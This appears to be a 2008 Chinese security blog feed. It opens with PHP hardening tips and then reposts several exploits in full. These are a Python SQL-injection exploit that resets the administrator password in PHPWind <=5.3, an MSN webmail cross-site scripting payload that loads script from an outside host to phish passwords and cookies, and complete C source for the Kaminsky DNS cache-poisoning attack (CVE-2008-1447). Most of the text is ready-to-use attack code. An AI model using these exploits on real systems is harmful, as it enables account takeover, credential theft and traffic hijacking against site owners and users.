我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类：
*低难度
**中低难度
***中高难度
****高难度
上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。
**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量“hello”，PHP不会创建“$ hello”，而只会创建 “HTTP_GET/POST_VARS['hello']”。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很大的不便。
*** 设置“safe_mode”为“on”
打开这个选项，会增加如下限制：
1．限制哪个命令可以被执行
2．限制哪个函数可以被使用
3．基于脚本所有权和目标文件所有权的文件访问限制
4．禁止文件上载功能
这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。
** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。
** 设置“display_errors”为“off”，设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。
* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能，极力推荐！

phpwind任意修改管理员密码漏洞

X4ng's Blog — Fri, 08 Aug 2008 10:09:30 +0800

漏洞说明：PHPWind 论坛系统是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞，成功利用此漏洞可以直接修改管理员的密码进入后台，取得管理员权限。

漏洞厂商：http://www.phpwind.net

漏洞来源：http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析：在phpwind的wap模块中的字符转码程序存在问题，细节在http://www.80sec.com /php-coder-class-security-alert.html，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，但是我们发现在phpwind<=5.3版本中，变量存在全局没有初始化的问题，导致远程用户可以开启该模块，从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中，phpwind过分相信从数据库中取出的变量，从而可能可以更改一些数据处理流程，导致任意修改其他用户的密码，包括管理员，问题代码在wap_mod.php中如下：

function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}

甚至不用注册账户，只要精心构造username即可利用此漏洞。

漏洞利用：80sec提供exploit如下：

import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”

print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"

print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"

except:
print "[-]Exploit Failed"

漏洞修复：请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
本站内容均为原创，转载请务必保留署名与链接！
phpwind任意修改管理员密码漏洞:http://www.80sec.com/phpwind-admin-pass-change-vul.html

msn最新跨站代码

X4ng's Blog — Fri, 08 Aug 2008 10:08:57 +0800

来自：幻影maillist

ps:用web收msn邮件时候小心点了，详情查看附件，贴出来的可能不太好用。

monkeycz to ph4nt0m：

<font color="ffffff"> <div id="jmp" style="display:none">nop</div><div id="ly" style="display:none">function ok(){return true};window.onerror=ok</div><div id="tip" title="<a style="display:none">" style="display:none"></div><div id="tap" title="<" style="display:none"></div><div id="tep" title=">" style="display:none"></div><style>div{background-image:expression(javascript:1?document.write(EC_tip.title+';top:'+EC_tap.title+'/a'+EC_tep.title+EC_tap.title+'script id=nop'+EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+EC_tep.title+EC_tap.title+'script src=http://xxx.com/test/index.asp?uid=someone@hotmail.com'+EC_tep.title+EC_tap.title+'/script'+EC_tep.title):1=1);}</style></font>

coolman to ph4nt0m:

此跨站可以在目标客户看邮件的时候打开一个伪造的msn登录页面，要求客户重新输入密码，获取密码，cookies，来源ip，等信息
至于跨站里那个index.asp就是伪造的假登录页面

下载

Kaminsky DNS Cache Poisoning Attack

X4ng's Blog — Tue, 29 Jul 2008 10:14:31 +0800

Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack

/*

* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack

*

* Compilation:

* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm

*

* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)

*

* Author: marc.bevand at rapid7 dot com

*/

#define _BSD_SOURCE

#include <sys/types.h>

#include <err.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <math.h>

#include <time.h>

#include <unistd.h>

#include <dumbnet.h>

#define DNSF_RESPONSE      (1<<15)

#define DNSF_AUTHORITATIVE (1<<10)

#define DNSF_REC_DESIRED   (1<<8)

#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A       0x1

#define TYPE_NS      0x2

#define CLASS_IN     0x1

struct dns_pkt

{

   uint16_t txid;

   uint16_t flags;

   uint16_t nr_quest;

   uint16_t nr_ans;

   uint16_t nr_auth;

   uint16_t nr_add;

} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)

{

   unsigned bufi, i, j;

   bufi = i = j = 0;

   while (name[i])

   {

      if (name[i] == '.')

      {

         if (bufi + 1 + (i - j) > size)

            fprintf(stderr, "format_domain overflow\n"), exit(1);

         buf[bufi++] = i - j;

         memcpy(buf + bufi, name + j, i - j);

         bufi += i - j;

         j = i + 1;

      }

      i++;

   }

   if (bufi + 1 + 2 + 2 > size)

      fprintf(stderr, "format_domain overflow\n"), exit(1);

   buf[bufi++] = 0;

   *len = bufi;

}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type,

uint16_t class)

{

   uint16_t tmp;

   // name

   format_domain(buf, size, len, name);

   // type

   tmp = htons(type);

   memcpy(buf + *len, &tmp, sizeof (tmp));

   *len += sizeof (tmp);

   // class

   tmp = htons(class);

   memcpy(buf + *len, &tmp, sizeof (tmp));

   *len += sizeof (tmp);

}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type,

uint16_t class, uint32_t ttl, const char *data)

{

   format_qr(buf, size, len, name, type, class);

   // ttl

   ttl = htonl(ttl);

   memcpy(buf + *len, &ttl, sizeof (ttl));

   *len += sizeof (ttl);

   // data length + data

   uint16_t dlen;

   struct addr addr;

   switch (type)

   {

      case TYPE_A:

         dlen = sizeof (addr.addr_ip);

         break;

      case TYPE_NS:

         dlen = strlen(data) + 1;

         break;

      default:

         fprintf(stderr, "format_rr: unknown type %02x", type);

         exit(1);

   }

   dlen = htons(dlen);

   memcpy(buf + *len, &dlen, sizeof (dlen));

   *len += sizeof (dlen);

   // data

   unsigned len2;

   switch (type)

   {

      case TYPE_A:

         if (addr_aton(data, &addr) < 0)

            fprintf(stderr, "invalid destination IP: %s", data), exit(1);

         memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));

         *len += sizeof (addr.addr_ip);

         break;

      case TYPE_NS:

         format_domain(buf + *len, size - *len, &len2, data);

         *len += len2;

         break;

      default:

         fprintf(stderr, "format_rr: unknown type %02x", type);

         exit(1);

   }

}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags,

const char *name)

{

   u_char *out = buf;

   struct dns_pkt p = {

      .txid = htons(txid),

      .flags = htons(flags),

      .nr_quest = htons(1),

      .nr_ans = htons(0),

      .nr_auth = htons(0),

      .nr_add = htons(0),

   };

   u_char qr[256];

   unsigned l;

   format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);

   if (sizeof (p) + l > size)

      fprintf(stderr, "dns_query overflow"), exit(1);

   memcpy(out, &p, sizeof (p));

   out += sizeof (p);

   memcpy(out, qr, l);

   out += l;

   *len = sizeof (p) + l;

}

void dns_response(u_char *buf, unsigned size, unsigned *len,

      uint16_t txid, uint16_t flags,

      const char *q_name, const char *q_ip,

      const char *domain, const char *auth_name, const char *auth_ip)

{

   u_char *out = buf;

   u_char *end = buf + size;

   u_char rec[256];

   unsigned l_rec;

   uint32_t ttl = 24*3600;

   struct dns_pkt p = {

      .txid = htons(txid),

      .flags = htons(flags),

      .nr_quest = htons(1),

      .nr_ans = htons(1),

      .nr_auth = htons(1),

      .nr_add = htons(1),

   };

   (void)domain;

   *len = 0;

   if (out + *len + sizeof (p) > end)

      fprintf(stderr, "dns_response overflow"), exit(1);

   memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);

   // queries

   format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);

   if (out + *len + l_rec > end)

      fprintf(stderr, "dns_response overflow"), exit(1);

   memcpy(out + *len, rec, l_rec); *len += l_rec;

   // answers

   format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,

         ttl, q_ip);

   if (out + *len + l_rec > end)

      fprintf(stderr, "dns_response overflow"), exit(1);

   memcpy(out + *len, rec, l_rec); *len += l_rec;

   // authoritative nameservers

   format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,

         ttl, auth_name);

   if (out + *len + l_rec > end)

      fprintf(stderr, "dns_response overflow"), exit(1);

   memcpy(out + *len, rec, l_rec); *len += l_rec;

   // additional records

   format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,

         ttl, auth_ip);

   if (out + *len + l_rec > end)

      fprintf(stderr, "dns_response overflow"), exit(1);

   memcpy(out + *len, rec, l_rec); *len += l_rec;

}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)

{

   unsigned len = 0;

   // ip

   struct ip_hdr *ip = (struct ip_hdr *)buf;

   ip->ip_hl = 5;

   ip->ip_v = 4;

   ip->ip_tos = 0;

   ip->ip_id = rand() & 0xffff;

   ip->ip_off = 0;

   ip->ip_ttl = IP_TTL_MAX;

   ip->ip_p = 17; // udp

   ip->ip_sum = 0;

   struct addr addr;

   if (addr_aton(srcip, &addr) < 0)

      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);

   ip->ip_src = addr.addr_ip;

   if (addr_aton(dstip, &addr) < 0)

      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);

   ip->ip_dst = addr.addr_ip;

   // udp

   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);

   udp->uh_sport = htons(1234);

   udp->uh_dport = htons(53);

   // dns

   dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,

         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,

         rand(), DNSF_REC_DESIRED, name);

   // udp len

   len += UDP_HDR_LEN;

   udp->uh_ulen = htons(len);

   // ip len & cksum

   len += IP_HDR_LEN;

   ip->ip_len = htons(len);

   ip_checksum(buf, len);

   return len;

}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,

      uint16_t port_resolver, uint16_t txid,

      const char *q_name, const char *q_ip,

      const char *domain, const char *auth_name, const char *auth_ip)

{

   unsigned len = 0;

   // ip

   struct ip_hdr *ip = (struct ip_hdr *)buf;

   ip->ip_hl = 5;

   ip->ip_v = 4;

   ip->ip_tos = 0;

   ip->ip_id = rand() & 0xffff;

   ip->ip_off = 0;

   ip->ip_ttl = IP_TTL_MAX;

   ip->ip_p = 17; // udp

   ip->ip_sum = 0;

   struct addr addr;

   if (addr_aton(srcip, &addr) < 0)

      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);

   ip->ip_src = addr.addr_ip;

   if (addr_aton(dstip, &addr) < 0)

      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);

   ip->ip_dst = addr.addr_ip;

   // udp

   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);

   udp->uh_sport = htons(53);

   udp->uh_dport = htons(port_resolver);

   // dns

   dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,

         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,

         txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,

         q_name, q_ip, domain, auth_name, auth_ip);

   // udp len

   len += UDP_HDR_LEN;

   udp->uh_ulen = htons(len);

   // ip len & cksum

   len += IP_HDR_LEN;

   ip->ip_len = htons(len);

   ip_checksum(buf, len);

   return len;

}

void usage(char *name)

{

   fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "

         "<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"

         " <ip-querier>       Source IP used when sending queries for random hostnames\n"

         "                     (typically your IP)\n"

         " <ip-resolver>      Target DNS resolver to attack\n"

         " <ip-authoritative> One of the authoritative DNS servers for <domain>\n"

         " <port-resolver>    Source port used by the resolver when forwarding queries\n"

         " <subhost>          Poison the cache with the A record <subhost>.<domain>\n"

         " <domain>           Domain name, see <subhost>.\n"

         " <any-ip>           IP of your choice to be associated to <subhost>.<domain>\n"

         " <attempts>         Number of poisoning attemps, more attempts increase the\n"

         "                     chance of successful poisoning, but also the attack time\n"

         " <repl-per-attempt> Number of spoofed replies to send per attempt, more

replies\n"

         "                     increase the chance of successful poisoning but, but also\n"

         "                     the rate of packet loss\n"

         "Example:\n"

         " $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"

         "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"

         "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"

         "this example (8192 attempts and 16 replies/attempt) is 86%%\n"

         "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"

         "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"

         "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"

         "100 attempts/sec).\n",

         name, name);

}

int main(int argc, char **argv)

{

   if (argc != 10)

      usage(argv[0]), exit(1);

   const char *querier = argv[1];

   const char *ip_resolver = argv[2];

   const char *ip_authoritative = argv[3];

   uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);

   const char *subhost = argv[5];

   const char *domain = argv[6];

   const char *anyip = argv[7];

   uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);

   uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);

   if (domain[strlen(domain) - 1 ] != '.')

      fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);

   printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 -

replies / 65536.), attempts));

   srand(time(NULL));

   int unique = rand() + (rand() << 16);

   u_char buf[IP_LEN_MAX];

   unsigned len;

   char name[256];

   char ns[256];

   ip_t *iph;

   if ((iph = ip_open()) == NULL)

      err(1, "ip_open");

   int cnt = 0;

   while (cnt < attempts)

   {

      // send a query for a random hostname

      snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);

      len = build_query(buf, querier, ip_resolver, name);

      if (ip_send(iph, buf, len) != len)

         err(1, "ip_send");

      // give the resolver enough time to forward the query and be in a state

      // where it waits for answers; sleeping 10ms here limits the number of

      // attempts to 100 per sec

      usleep(10000);

      // send spoofed replies, each reply contains:

      // - 1 query: query for the "random hostname"

      // - 1 answer: "random hostname" A 1.1.1.1

      // - 1 authoritative nameserver: <domain> NS <subhost>.<domain>

      // - 1 additional record: <subhost>.<domain> A <any-ip>

      snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);

      unsigned r;

      for (r = 0; r < replies; r++)

      {

         // use a txid that is just 'r': 0..(replies-1)

         len = build_response(buf, ip_authoritative, ip_resolver,

               port_resolver, r, name, "1.1.1.1", domain, ns, anyip);

         if (ip_send(iph, buf, len) != len)

            err(1, "ip_send");

      }

      cnt++;

   }

   ip_close(iph);

   return 0;

}

MS Office Snapshot Viewer ActiveX Exploit (可执行版)

X4ng's Blog — Thu, 17 Jul 2008 12:52:48 +0800

By:lcx

可执行版，请勿用于非法用途。

對付 SQL Injection 的 "免費補洞策略"

X4ng's Blog — Sat, 12 Jul 2008 11:32:16 +0800

http://www.microsoft.com/taiwan/msdn/columns/huang_jhong_cheng/LVSS.htm